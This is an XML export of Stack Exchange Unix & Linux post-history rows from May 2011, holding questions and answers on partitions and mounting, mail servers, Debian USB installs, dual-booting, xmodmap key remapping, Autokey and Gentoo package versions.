  <row Id="30366" PostHistoryTypeId="5" PostId="12086" RevisionGUID="02e76d24-0f58-4f4d-aabe-a2a68ee11cce" CreationDate="2011-05-01T11:16:05.740" UserId="885" Comment="clarified wording around individual filesystems vs the filesystem" Text="There are misconceptions behind your questions.&#xD;&#xA;&#xD;&#xA;1. Swap is not mounted.&#xD;&#xA;2. Mounting isn't limited to partitions.&#xD;&#xA;&#xD;&#xA;## Partitions&#xD;&#xA;&#xD;&#xA;A [partition](http://en.wikipedia.org/wiki/Disk_partitioning) is a slice¹ of disk space that's devoted to a particular purpose. Here are some common purposes for partitions.&#xD;&#xA;&#xD;&#xA;* A [filesystem](http://en.wikipedia.org/wiki/File_system), i.e. files organized as a directory tree and stored in a format such as ext2, ext3, FFS, FAT, NTFS, …&#xD;&#xA;* Swap space, i.e. disk space used for [paging](http://en.wikipedia.org/wiki/Paging) (and storing [hibernation images](http://en.wikipedia.org/wiki/Hibernation_%28computing%29)).&#xD;&#xA;* Direct application access. Some databases store their data directly on a partition rather than on a filesystem to gain a little performance. (A filesystem is a kind of database anyway.)&#xD;&#xA;* A container for other partitions. For example, a [PC extended partition](http://en.wikipedia.org/wiki/Disk_partitioning#Extended_partition), or a disk [slice](http://en.wikipedia.org/wiki/Slice_%28disk%29) containing BSD partitions, or an [LVM](http://en.wikipedia.org/wiki/Logical_volume_management) physical volume (containing eventually logical volumes which can themselves be considered partitions), …&#xD;&#xA;&#xD;&#xA;## Filesystems&#xD;&#xA;&#xD;&#xA;[Filesystems](http://en.wikipedia.org/wiki/file_system) present information in a hierarchical structure. Here are some common kinds of filesystems:&#xD;&#xA;&#xD;&#xA;* Disk-backed filesystems, such as ext2, ext3, FFS, FAT, NTFS, …&#xD;&#xA;    * The backing need not be directly on a disk partition, as seen above. For example, this could be an [LVM](http://en.wikipedia.org/wiki/Logical_volume_management) logical volume, or a [loop mount](http://en.wikipedia.org/wiki/Loop_device).&#xD;&#xA;* Memory-backed filesystems, such as Solaris and Linux's [tmpfs](http://en.wikipedia.org/wiki/Tmpfs).&#xD;&#xA;* Filesystems that present information from the kernel, such as [`proc`](http://en.wikipedia.org/wiki/Procfs) and [`sysfs`](http://en.wikipedia.org/wiki/Sysfs) on Linux.&#xD;&#xA;* Network filesystems, such as [NFS](http://en.wikipedia.org/wiki/Network_File_System_%28protocol%29), [Samba](http://en.wikipedia.org/wiki/Samba_%28software%29), …&#xD;&#xA;* Application-backed filesystems, of which [FUSE](http://fuse.sourceforge.net/) has a [large collection](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=FileSystems). Application-backed filesystems can do just about anything: make an FTP server appear as a filesystem, give an alternate view of a filesystem where file names are case-insensitive or converted to a different encoding, show archive contents as if they were directories, …&#xD;&#xA;&#xD;&#xA;## Mounting&#xD;&#xA;&#xD;&#xA;Unix presents files in a single hierarchy, usually called “the filesystem” (but in this answer I'll not use the word “filesystem” in this sense to keep confusion down). Individual filesystems must be grafted onto that hierarchy in order to access them.³&#xD;&#xA;&#xD;&#xA;You make a filesystem accessible by mounting it. Mounting associates the root directory of the filesystem you're mounting with a existing directory in the file hierarchy. A directory that has such an association is known as a mount point.&#xD;&#xA;&#xD;&#xA;* For example, the root filesystem is mounted at boot time (before the kernel starts any process²) to the `/` directory.&#xD;&#xA;* The proc filesystem over which some unix variants such as Solaris and Linux expose information about processes is mounted on `/proc`, so that `/proc/42/environ` designates the file `/42/environ` on the proc filesystem, which (on Linux, at least) contains a read-only view of the environment of process number 42.&#xD;&#xA;* If you have a separate filesystem e.g. for `/home`, then `/home/john/myfile.txt` designates the file whose path is `/john/myfile.txt` from the root of the home filesystem.&#xD;&#xA;&#xD;&#xA;Under Linux, it's possible for the same filesystem to be accessible through more than one path, thanks to [bind mounts](http://wiki.openvz.org/Bind_mounts).&#xD;&#xA;&#xD;&#xA;A typical Linux filesystems has many mounted filesystems. (This is an example; different distributions, versions and setups will lead to different filesystems being mounted.)&#xD;&#xA;&#xD;&#xA;* `/`: the root filesystem, mounted before the kernel loads the first process. The bootloader tells the kernel what to use as the root filesystem (it's usually a disk partition but could be something else such as an NFS export).&#xD;&#xA;* `/proc`: the [proc](http://en.wikipedia.org/wiki/Procfs) filessytem, with process and kernel information.&#xD;&#xA;* `/sys`: the [sysfs](http://en.wikipedia.org/wiki/Sysfs) filesystem, with information about hardware devices.&#xD;&#xA;* `/dev`: an in-memory filesystem where [device files](http://en.wikipedia.org/wiki/Device_file) are automatically created by [udev](http://en.wikipedia.org/wiki/Udev) based on available hardware.&#xD;&#xA;* `/dev/pts`: a special-purpose filesystem containing device files for running [terminal emulators](http://en.wikipedia.org/wiki/Terminal_emulator).&#xD;&#xA;* `/dev/shm`: an in-memory filesystem used for internal purposes by the system's standard library.&#xD;&#xA;* Depending on what system components you have running, you may see other special-purpose filesystems such as `binfmt_misc` (used by the [foreign executable file format kernel subsystem](http://en.wikipedia.org/wiki/Binfmt_misc)), `fusectl` (used by [FUSE](http://fuse.sourceforge.net/)), `nfsd` (used by the kernel NFS server), …&#xD;&#xA;* Any filesystem explicitly mentioned in `/etc/fstab` (and not marked `noauto`) is mounted as part of the boot process.&#xD;&#xA;* Any filesystem automatically mounted by [HAL](http://en.wikipedia.org/wiki/HAL_%28software%29) (or equivalent functionality) following the insertion of a removable device such as a USB key.&#xD;&#xA;* Any filesystem explicitly mounted with the `mount` command.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Informally speaking here. &lt;/sub&gt;  &#xD;&#xA;² &lt;sub&gt; Initrd and such are beyond the scope of this answer. &lt;/sub&gt;  &#xD;&#xA;³ &lt;sub&gt; This is unlike Windows, which has a separate hierarchy for each filesystem, e.g. `c:` or `\\hostname\sharename`. &lt;/sub&gt;  &#xD;&#xA;" />
  <row Id="30367" PostHistoryTypeId="2" PostId="12407" RevisionGUID="825edd11-b316-4c92-9197-394530fa84ee" CreationDate="2011-05-01T11:20:54.357" UserId="4958" Text="You don't say what your company's current mail server solution is nor whether you need to achieve any from of compatibility, so we'll assume your needs can be satisfied with the standard components. You don't mention what your mail retrieval requirements are (for example POP, IMAP, MAPI), so we'll assume IMAP. You don't specify a requirement for webmail, so we won't discuss it here but you will be able to integrate one or more of the many solutions easily with the IMAP support.&#xD;&#xA;&#xD;&#xA;Regarding the OS, unless you have an existing support team with Linux or FreeBSD experience your choice should be a pragmatic one, based on that which you have most experience and the ease with which you can obtain support or help if you have problems. Do you need a support contract with the OS? These should be the practical considerations which will help you determine your final choice because they will ultimately be more important than the differences between the OS's. If you will be the sole supporter and have little experience with both, I would recommend the latest stable Debian Linux because it is well-documented and is straightforward to get advice for common configurations of OS, mail server, IMAP server and firewall.&#xD;&#xA;&#xD;&#xA;The choice of MTA is less clear and is often dictated by the available experience and recommendations from friends. Exim4 and Postfix do the same thing in slightly different ways. They're both well-supported, have similar features and are actively being developed which ensures that bugs and security advisories are responded to. From my own experience, Exim4 has sufficient configuration options to be able to support all but the most esoteric requirements. It's the default MTA for Debian and has excellent support from within Debian for the supplied Debian Exim configuration utility, and outside from the extensive documentation and mailing lists. &#xD;&#xA;&#xD;&#xA;There's no substitute for hands-on experience, so I would strongly recommend setting up some local virtual machines to perform basic installations of OS and MTA. Once you've done this, you'll discover what questions remain unanswered, based on your setup requirements. It will also give you an opportunity to experience and configure related software, for encrypting mail transfers, for authentication, for spam and virus filtering and for general server security and backup options." />
  <row Id="30368" PostHistoryTypeId="2" PostId="12408" RevisionGUID="d763a3f7-8fc9-4dcf-bf1b-af1978d5d120" CreationDate="2011-05-01T12:01:51.387" UserId="4847" Text="I have a dell inspiron duo - The tablet netbook, the 1090. It's beautiful, and I want to get the most out of it.&#xD;&#xA;&#xD;&#xA;I don't mind digging deep into a distro, and installing patches and such to get multitouch working, but thats me, I have to think of others that also would like this goodness.&#xD;&#xA;&#xD;&#xA;So my question, which distro has the best multi touch / tablet support out the box.&#xD;&#xA;&#xD;&#xA;&gt; Imagine I have to recommend something&#xD;&#xA;&gt; to someone about to go on an Arctic&#xD;&#xA;&gt; expedition, who has a touch screen laptop, and needs FOSS installed because of cutbacks :)" />
  <row Id="30369" PostHistoryTypeId="1" PostId="12408" RevisionGUID="d763a3f7-8fc9-4dcf-bf1b-af1978d5d120" CreationDate="2011-05-01T12:01:51.387" UserId="4847" Text="What is your recommendation for &quot;Out The Box Multi Touch Tablet Support&quot; Distro of the moment" />
  <row Id="30370" PostHistoryTypeId="3" PostId="12408" RevisionGUID="d763a3f7-8fc9-4dcf-bf1b-af1978d5d120" CreationDate="2011-05-01T12:01:51.387" UserId="4847" Text="élinuxàédistributionöchoiceàétabletàétouchöscreenà" />
  <row Id="30371" PostHistoryTypeId="25" PostId="12408" RevisionGUID="eb701e84-a99a-4fea-b2ca-22823f40413b" CreationDate="2011-05-01T12:11:19.477" Comment="http://twitter.com/#!/StackUnix/status/64663186200211457" />
  <row Id="30372" PostHistoryTypeId="2" PostId="12409" RevisionGUID="3eccc333-bb08-43b5-8ba7-818249fa8989" CreationDate="2011-05-01T12:15:41.577" UserId="885" Text="Use this tag when something is locked up, frozen, hung, not responding, not reacting to user input. Always use it in combination with one or more tags describing what has locked up (the operating system? an application?).&#xD;&#xA;" />
  <row Id="30373" PostHistoryTypeId="2" PostId="12410" RevisionGUID="f0356909-3c4c-4ca0-b182-d0d8b9bf9fec" CreationDate="2011-05-01T12:15:41.577" UserId="885" Text="when the computer or an application is not responding" />
  <row Id="30374" PostHistoryTypeId="2" PostId="12411" RevisionGUID="21f6b8b0-0a20-40a7-ac8c-2185979b8962" CreationDate="2011-05-01T12:20:34.020" UserId="7123" Text="I try to install Debian wheezy on my IBM ThinkPad X40 2372-CTO via USB stick. First i do `zcat boot.img.gz &gt; /dev/sdb` with this [image][1]. After that i do `cp debian-*-netinst.iso /mnt/sdb` with this [image][2].&#xD;&#xA;&#xD;&#xA;When I try to install debian from the USB stick the following happens. First I get `SYSLINUX .... aborted. boot: `. When I press enter I see the Installer menu. When I choose `Install` the machine reboots. What am I doing wrong here? Are these the wrong images? How can I debug this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: ftp://ftp2.de.debian.org/debian/dists/wheezy/main/installer-i386/current/images/hd-media/&#xD;&#xA;  [2]: http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/" />
  <row Id="30375" PostHistoryTypeId="1" PostId="12411" RevisionGUID="21f6b8b0-0a20-40a7-ac8c-2185979b8962" CreationDate="2011-05-01T12:20:34.020" UserId="7123" Text="Problem installing Debian wheezy from USB stick" />
  <row Id="30376" PostHistoryTypeId="3" PostId="12411" RevisionGUID="21f6b8b0-0a20-40a7-ac8c-2185979b8962" CreationDate="2011-05-01T12:20:34.020" UserId="7123" Text="édebianàéinstallàéusbàétestingà" />
  <row Id="30377" PostHistoryTypeId="19" PostId="3063" RevisionGUID="a4f945ba-32e2-4c69-a72c-07c3fad46bd4" CreationDate="2011-05-01T12:28:46.287" UserId="885" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;}]" />
  <row Id="30378" PostHistoryTypeId="2" PostId="12412" RevisionGUID="f93870a6-bf9b-474a-b432-83a4b05fbffb" CreationDate="2011-05-01T12:57:28.530" UserId="-1" Text="" />
  <row Id="30379" PostHistoryTypeId="2" PostId="12413" RevisionGUID="793127e7-778c-464e-a489-b848965ef5ed" CreationDate="2011-05-01T12:57:28.530" UserId="-1" Text="" />
  <row Id="30380" PostHistoryTypeId="5" PostId="12413" RevisionGUID="7b119398-38e5-456e-9a38-938306fbe1c6" CreationDate="2011-05-01T13:39:39.507" UserId="2629" Comment="added 91 characters in body" Text="KVM is the Kernel Virtual Machine, a virtualization hypervisor built into the Linux kernel." />
  <row Id="30381" PostHistoryTypeId="24" PostId="12413" RevisionGUID="7b119398-38e5-456e-9a38-938306fbe1c6" CreationDate="2011-05-01T13:39:39.507" Comment="Proposed by 2629 approved by 885 edit id of 343" />
  <row Id="30382" PostHistoryTypeId="5" PostId="12412" RevisionGUID="5f64f905-c281-44b2-980c-5ff7359ffc3f" CreationDate="2011-05-01T13:43:36.523" UserId="2629" Comment="added 185 characters in body" Text="The Kernel Virtual Machine (KVM) is a virtualization hypervisor that is built into the Linux kernel as an alternative to other virtualization products such as Xen, VirtualBox or VMWare." />
  <row Id="30383" PostHistoryTypeId="24" PostId="12412" RevisionGUID="5f64f905-c281-44b2-980c-5ff7359ffc3f" CreationDate="2011-05-01T13:43:36.523" Comment="Proposed by 2629 approved by -1 edit id of 342" />
  <row Id="30384" PostHistoryTypeId="5" PostId="12412" RevisionGUID="cc46ab64-3dbe-4685-b7cb-1464ed3097bd" CreationDate="2011-05-01T13:43:37.163" UserId="885" Comment="added 65 characters in body" Text="The [Kernel Virtual Machine (KVM)](http://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine) is a virtualization hypervisor that is built into the Linux kernel as an alternative to other virtualization products such as Xen, VirtualBox or VMWare.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30385" PostHistoryTypeId="2" PostId="12414" RevisionGUID="34698512-0dd3-4c5e-9ed7-4c2f76d1c4ed" CreationDate="2011-05-01T14:08:29.200" UserId="2333" Text="Related to my [post about my Arch installation][1], I'm wondering whether the following procedure would work:&#xD;&#xA;&#xD;&#xA;1. Disconnect sda&#xD;&#xA;2. Install Arch normally on sdb as if on a single-drive system&#xD;&#xA;3. Disconnect sdb, reconnect sda&#xD;&#xA;4. Install Win7 on sda as if on a single-drive system&#xD;&#xA;5. Reconnect sdb&#xD;&#xA;6. Tell BIOS to boot sdb&#xD;&#xA;7. In Arch, edit GRUB settings for dual-boot&#xD;&#xA;&#xD;&#xA;I guess this depends on whether step 7 will work, i.e., boot Arch even though there's another hard drive present that wasn't there during installation.&#xD;&#xA;&#xD;&#xA;And a related issue: Does anyone know whether Windows 7 needs to be (a) installed first, whether or not there's another hard drive present, and (b) on the first hard drive, i.e., hd0 (if the Linux drive is going to have the bootloader on it, it might as well be first if possible)? I know that installing two systems on the *same* hard drive requires Windows to be installed first because otherwise it will overwrite the MBR, but what about separate drives?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12375/arch-installs-but-grub-does-not-load" />
  <row Id="30386" PostHistoryTypeId="1" PostId="12414" RevisionGUID="34698512-0dd3-4c5e-9ed7-4c2f76d1c4ed" CreationDate="2011-05-01T14:08:29.200" UserId="2333" Text="Disconnecting drives for dual-boot installation" />
  <row Id="30387" PostHistoryTypeId="3" PostId="12414" RevisionGUID="34698512-0dd3-4c5e-9ed7-4c2f76d1c4ed" CreationDate="2011-05-01T14:08:29.200" UserId="2333" Text="édualöbootàésystemöinstallationà" />
  <row Id="30391" PostHistoryTypeId="2" PostId="12416" RevisionGUID="157c025d-e717-4cc1-b467-8ed56dc197fc" CreationDate="2011-05-01T14:25:07.563" UserId="885" Text="This will mostly work. It's a good way to eliminate most of the software hassles, transforming them into hardware hassles.&#xD;&#xA;&#xD;&#xA;You'll still have to solve your disk assignment problem at step 7. If both your disks are connected to the same IDE, SCSI or SATA controller, swapping there order so that the Linux disk appears as `/dev/sda` will make your life easier, since the Linux disk will then be the first disk both according to the BIOS and to Linux.&#xD;&#xA;&#xD;&#xA;Things get easier with Grub 2, because it can scan disks looking for a filesystem label. With Grub 1, I don't think you can escape a step of getting the drive numbers right.&#xD;&#xA;" />
  <row Id="30392" PostHistoryTypeId="25" PostId="12414" RevisionGUID="5b4d4941-5480-4320-b083-0bb62703f6b2" CreationDate="2011-05-01T15:11:20.283" Comment="http://twitter.com/#!/StackUnix/status/64708486944145409" />
  <row Id="30393" PostHistoryTypeId="2" PostId="12417" RevisionGUID="35dffd8e-1d56-4bde-9b7b-f80b92a04b2d" CreationDate="2011-05-01T15:49:58.330" UserId="6215" Text="Is it possible to configure the following automatization?&lt;br&gt;&#xD;&#xA;Everytime I will type a sentence in which the last character is dot, colon or quotation mark it will change the next letter automatically to uppercase, so that I don't have to press the shift key?&lt;br&gt;&#xD;&#xA;&#xD;&#xA;The settings should apply to all desktop environement (XFCE, KDE, Gnome) and terminals. &#xD;&#xA;Sometimes you need to write lowercase after dot, so there could be some key that will suppress uppercase.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;I noticed that mobile applications have this possibility.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30394" PostHistoryTypeId="1" PostId="12417" RevisionGUID="35dffd8e-1d56-4bde-9b7b-f80b92a04b2d" CreationDate="2011-05-01T15:49:58.330" UserId="6215" Text="Starting automatically uppercase after dot" />
  <row Id="30395" PostHistoryTypeId="3" PostId="12417" RevisionGUID="35dffd8e-1d56-4bde-9b7b-f80b92a04b2d" CreationDate="2011-05-01T15:49:58.330" UserId="6215" Text="ékeyboardàéproductivityàécustomiseà" />
  <row Id="30396" PostHistoryTypeId="5" PostId="12390" RevisionGUID="0afce44d-e68b-473b-968d-3ffa65932db2" CreationDate="2011-05-01T16:03:25.207" UserId="73" Comment="added 673 characters in body" Text="I have a Linux server running under Debian Lenny with 4Go of RAM.&#xD;&#xA;It doesn't run much, just:&#xD;&#xA;&#xD;&#xA;- Postfix/spamassassin (daemon mode)&#xD;&#xA;- Bind9&#xD;&#xA;- KVM (one guest - 1Go of RAM for it)&#xD;&#xA;&#xD;&#xA;Every day at exactly 3:05 UTC, the server completely drop to ground floor almost all of its memory. After that, I have more than 2G used by buffer and never cleaned up (unless I manually tell the kernel to drop the cache).&#xD;&#xA;&#xD;&#xA;I'v searched the web a lot and, at the begining, I though this was due to NFS buffer usage. I do backups over an NFS share drive using gzip/tar and the backup occured at 3:05.&#xD;&#xA;&#xD;&#xA;However, I'm now in a very strange situation because I moved the backup task at 1:40 (it completes in 2 mins) and I still drop all the RAM at 3:05.&#xD;&#xA;&#xD;&#xA;In my logs, nothing particular, except that at 03:05:01, cron open a session as root and immediately close it at 03:05:02 without doing anything. Of course, cron has been restarted and I checked the timing of the tasks - again, nothing particular.&#xD;&#xA;&#xD;&#xA;Any idea why this happens? Or, any idea about how to track what's using all those buffers?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: The server is running in UTC, all times here are UTC. It's not running any NFS server and I don't have mlocate or slocate installed. For the crontab, daily and user crontabs, nothing is done at that hour.&#xD;&#xA;&#xD;&#xA;Here's the interesting part in my logs about cron:&#xD;&#xA;&#xD;&#xA;&gt; auth.log-20110501:May 1 03:05:01 SRV CRON[15914]: pam_unix(cron:session): session opened for user root by (uid=0)  &#xD;&#xA;&gt; auth.log-20110501:May 1 03:05:01 SRV CRON[15914]: pam_unix(cron:session): session closed for user root  &#xD;&#xA;&gt; syslog-20110501:May 1 03:05:01 SRV /USR/SBIN/CRON[15915]: (root) CMD ([ -x /usr/lib/sysstat/sa1 ] &amp;&amp; { [ -r &quot;$DEFAULT&quot; ] &amp;&amp; . &quot;$DEFAULT&quot; ; [ &quot;$ENABLED&quot; = &quot;true&quot; ] &amp;&amp; exec /usr/lib/sysstat/sa1 $SA1_OPTIONS 1 1 ; })&#xD;&#xA;" />
  <row Id="30401" PostHistoryTypeId="2" PostId="12418" RevisionGUID="5d729f0c-4964-44c2-9d0f-636166fb9147" CreationDate="2011-05-01T16:40:05.460" UserId="6215" Text="I installed `autokey-gtk` application but it won't start.&lt;br&gt;&#xD;&#xA;When I run it from terminal it will write a message&#xD;&#xA;&#xD;&#xA;&gt; Xlib.protocol.request.QueryExtension&#xD;&#xA;&#xD;&#xA;but that's all. The application won't start.&#xD;&#xA;&#xD;&#xA;Do you know what is wrong?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30402" PostHistoryTypeId="1" PostId="12418" RevisionGUID="5d729f0c-4964-44c2-9d0f-636166fb9147" CreationDate="2011-05-01T16:40:05.460" UserId="6215" Text="Autokey won't start" />
  <row Id="30403" PostHistoryTypeId="3" PostId="12418" RevisionGUID="5d729f0c-4964-44c2-9d0f-636166fb9147" CreationDate="2011-05-01T16:40:05.460" UserId="6215" Text="ékeyboardàéproductivityà" />
  <row Id="30404" PostHistoryTypeId="5" PostId="12373" RevisionGUID="2500ff42-1b4f-40df-a45c-d0f958c8fd5c" CreationDate="2011-05-01T16:52:35.100" UserId="885" Comment="added introduction about xmodmap; added addition of the modifier" Text="This answer explains how to set this up with xmodmap. Put the configuration snippets below in `~/.Xmodmap`, and run `xmodmap &lt;~/.Xmodmap` to apply them. Depending on your distribution and your setup, `~/.Xmodmap` may be loaded automatically when you log in, or you may need to call `xmodmap` explicitly from `~/.xinitrc` or `~/.xsession`, or you may need to configure your desktop environment to apply `~/.Xmodmap`.&#xD;&#xA;&#xD;&#xA;X has a keysym (i.e. an abstract key name) called `Mode_switch`. On most keyboard mappings for latin-script languages other than US, this keysym is bound to the key labeled &lt;kbd&gt;AltGr&lt;/kbd&gt;, which replaces the right &lt;kbd&gt;Alt&lt;/kbd&gt; key. You can choose to map `Mode_switch` to a different key such as &lt;kbd&gt;Caps Lock&lt;/kbd&gt;. On a PC keyboard, the keycode (what the hardware sends) for &lt;kbd&gt;Caps Lock&lt;/kbd&gt; is 66, so change its binding to `Mode_switch`, and remove the caps lock modifier from it:&#xD;&#xA;&#xD;&#xA;    keycode 66 = Mode_switch&#xD;&#xA;    clear Lock&#xD;&#xA;&#xD;&#xA;You also need to associate a modifier with `Mode_switch`. There are 5 custom modifiers, `Mod1` through `Mod5`; any will do, but there has to be one. Run `xmodmap -pm` to see what modifiers are in use, and pick one of the 5 that isn't, then add a line like this to your `.Xmodmap`:&#xD;&#xA;&#xD;&#xA;    add Mod3 = Mode_switch&#xD;&#xA;&#xD;&#xA;In an xmodmap key specification, the character sent by the key with `Mode_switch` is in the third column after the `=` sign, and with `Mode_switch`+`Shift` in the fourth column. (The first two columns are for the key with no modifiers and with `Shift`.) You can use a `keysym` directive to rebind the key that now sends `n` regardless of its keycode:&#xD;&#xA;&#xD;&#xA;    keysym n = n N ntilde Ntilde&#xD;&#xA;&#xD;&#xA;The names on the right are in fact keysym names. You can find a list of these in&#xD;&#xA;`/usr/include/X11/keysymdef.h`, e.g. the line `#define XK_Ntilde 0x00d1` means there's a keysym called `Ntilde` that corresponds to Unicode character U+00D1. There are characters that don't have a keysym name; you can use the unicode number instead.&#xD;&#xA;&#xD;&#xA;    ! U+2030 is PER MILLE SIGN, U+2031 is PER TEN THOUSAND SIGN&#xD;&#xA;    keysym 5 = 5 percent U2030 U2031&#xD;&#xA;" />
  <row Id="30405" PostHistoryTypeId="2" PostId="12419" RevisionGUID="0297c31d-b80a-48cc-9757-58f955ffda46" CreationDate="2011-05-01T17:21:03.587" UserId="2343" Text="On my system, Ubuntu, I get the same message when I start if from the terminal... That message in itself is not an error, because it runs perfectly... It shows up as an icon in my top Panel... The first time I ran it, I too, wondered what was going on&#xD;&#xA;&#xD;&#xA;After the initial install, if nothing shows up in your main menu, you can start the Configuration GUI via:   &#xD;&#xA;&#xD;&#xA;            autokey -c&#xD;&#xA;          or&#xD;&#xA;            autokey --configure&#xD;&#xA;" />
  <row Id="30406" PostHistoryTypeId="2" PostId="12420" RevisionGUID="f377304c-8631-4fe5-8e36-ae884741b966" CreationDate="2011-05-01T17:35:44.563" UserId="7126" Text="I've made a simple patch for that kind of copy/paste behavior. You can find the patch and some instructions from http://www.taika.org/~tomba/gnome-terminal/index.html&#xD;&#xA;" />
  <row Id="30407" PostHistoryTypeId="25" PostId="12418" RevisionGUID="9a4b6a25-c013-405f-a2ba-ee3ab3c0db09" CreationDate="2011-05-01T18:11:19.667" Comment="http://twitter.com/#!/StackUnix/status/64753783430840320" />
  <row Id="30408" PostHistoryTypeId="2" PostId="12421" RevisionGUID="8a5dfec1-f484-4d20-abb4-72ca90758acc" CreationDate="2011-05-01T18:48:02.110" UserId="2343" Text="This is just a bit of history rummaging... I'd like to know how different today's `grep` is to the original implementation, introduced by [Ken Thompson in ed/qed](http://en.wikipedia.org/wiki/Ed_%28text_editor%29)" />
  <row Id="30409" PostHistoryTypeId="1" PostId="12421" RevisionGUID="8a5dfec1-f484-4d20-abb4-72ca90758acc" CreationDate="2011-05-01T18:48:02.110" UserId="2343" Text="Is there a archive of old man pages? specifically for the features available for grep in early 'ed'" />
  <row Id="30410" PostHistoryTypeId="3" PostId="12421" RevisionGUID="8a5dfec1-f484-4d20-abb4-72ca90758acc" CreationDate="2011-05-01T18:48:02.110" UserId="2343" Text="égrepàéhistoryàémanà" />
  <row Id="30411" PostHistoryTypeId="2" PostId="12422" RevisionGUID="c82e921d-99ef-4b40-a838-d1af90e3e4c5" CreationDate="2011-05-01T18:56:11.560" UserId="6761" Text="You could look at the &lt;a href=&quot;http://man.cat-v.org/&quot;&gt;Manual Page Library&lt;/a&gt;, it has some early UNIX manuals..." />
  <row Id="30412" PostHistoryTypeId="5" PostId="12421" RevisionGUID="1007ed69-dbea-4ee6-8442-5609bbaa8ab6" CreationDate="2011-05-01T19:04:57.657" UserId="2343" Comment="added 198 characters in body" Text="This is just a bit of history rummaging... I'd like to know how different today's `grep` is to the original implementation, introduced by Ken Thompson in [ed](http://en.wikipedia.org/wiki/Ed_%28text_editor%29). which evolved to [ex](http://en.wikipedia.org/wiki/Ex_%28editor%29), which then became [vi](http://en.wikipedia.org/wiki/Vi)...  &#xD;&#xA;I think too, that `emacs` was an evolution of `ed` (with macros)...  " />
  <row Id="30413" PostHistoryTypeId="2" PostId="12423" RevisionGUID="83bc728f-37a2-4fd4-828f-542208bb97be" CreationDate="2011-05-01T19:08:49.937" UserId="7129" Text="Hi!&#xD;&#xA;&#xD;&#xA;I try to use Mutter with my Intel GMA 4500MHD (on my Thinkpad T400) in Debian Wheezy.&#xD;&#xA;&#xD;&#xA;However, it says &#xD;&#xA;&#xD;&#xA;&gt; Not using GLX TFP&#xD;&#xA;&#xD;&#xA;and some effects get very slow.&#xD;&#xA;&#xD;&#xA;How can I fix that?" />
  <row Id="30414" PostHistoryTypeId="1" PostId="12423" RevisionGUID="83bc728f-37a2-4fd4-828f-542208bb97be" CreationDate="2011-05-01T19:08:49.937" UserId="7129" Text="Mutter and Intel GMA 4500MHD" />
  <row Id="30415" PostHistoryTypeId="3" PostId="12423" RevisionGUID="83bc728f-37a2-4fd4-828f-542208bb97be" CreationDate="2011-05-01T19:08:49.937" UserId="7129" Text="édebianàégraphicsàéintelögmaà" />
  <row Id="30416" PostHistoryTypeId="2" PostId="12424" RevisionGUID="008a6aed-3840-49b2-93ea-ac10712e815f" CreationDate="2011-05-01T19:16:53.407" UserId="6151" Text="Very doubtful that such a thing exists for all applications. You might find such a setting for OpenOffice and other word processors, but in general it's rarely useful and not doable." />
  <row Id="30417" PostHistoryTypeId="6" PostId="12423" RevisionGUID="43a5b1f1-c6e5-4641-a912-ea7397a8a228" CreationDate="2011-05-01T19:17:46.760" UserId="7129" Comment="edited tags" Text="édebianàégnomeàéwindowömanageràégraphicsàéintelögmaà" />
  <row Id="30418" PostHistoryTypeId="5" PostId="12423" RevisionGUID="21f77520-327a-459b-bf09-cdf311c8d8b6" CreationDate="2011-05-01T19:31:18.173" UserId="1925" Comment="deleted 5 characters in body; added 1 characters in body" Text="I am trying to use Mutter with my Intel GMA 4500MHD (on my Thinkpad T400) in Debian Wheezy. However, it says:&#xD;&#xA;&#xD;&#xA;&gt; Not using GLX TFP&#xD;&#xA;&#xD;&#xA;and some effects get very slow.&#xD;&#xA;&#xD;&#xA;How can I fix that?" />
  <row Id="30419" PostHistoryTypeId="2" PostId="12425" RevisionGUID="d8733312-1531-418e-b149-6cc781041fc7" CreationDate="2011-05-01T19:36:14.117" UserId="-1" Text="" />
  <row Id="30420" PostHistoryTypeId="2" PostId="12426" RevisionGUID="9b992488-e973-4f93-8ae2-08271c57284c" CreationDate="2011-05-01T19:36:14.117" UserId="-1" Text="" />
  <row Id="30421" PostHistoryTypeId="2" PostId="12427" RevisionGUID="20d9cace-83e6-4905-ad06-0e33461cacbe" CreationDate="2011-05-01T19:44:17.257" UserId="4787" Text="I would like to install two (or more) versions of the same packages on my Gentoo system. I know for sure there won't be any file clash, since there very few files installed and each of them is named after the version.&#xD;&#xA;&#xD;&#xA;I know about slots, but these are specified in the ebuild files, and let's assume I don't want to edit any ebuild file for several reasons.&#xD;&#xA;&#xD;&#xA;I would like the installed versions to be part of the world package, so they can be reinstalled or uninstalled as usual.&#xD;&#xA;&#xD;&#xA;Is there a way to install multiple versions of the same package? Do you know of some Portage tricks to achieve that?" />
  <row Id="30422" PostHistoryTypeId="1" PostId="12427" RevisionGUID="20d9cace-83e6-4905-ad06-0e33461cacbe" CreationDate="2011-05-01T19:44:17.257" UserId="4787" Text="How to install multiple versions of the same package in Gentoo?" />
  <row Id="30423" PostHistoryTypeId="3" PostId="12427" RevisionGUID="20d9cace-83e6-4905-ad06-0e33461cacbe" CreationDate="2011-05-01T19:44:17.257" UserId="4787" Text="épackageömanagementàégentooàéversionà" />
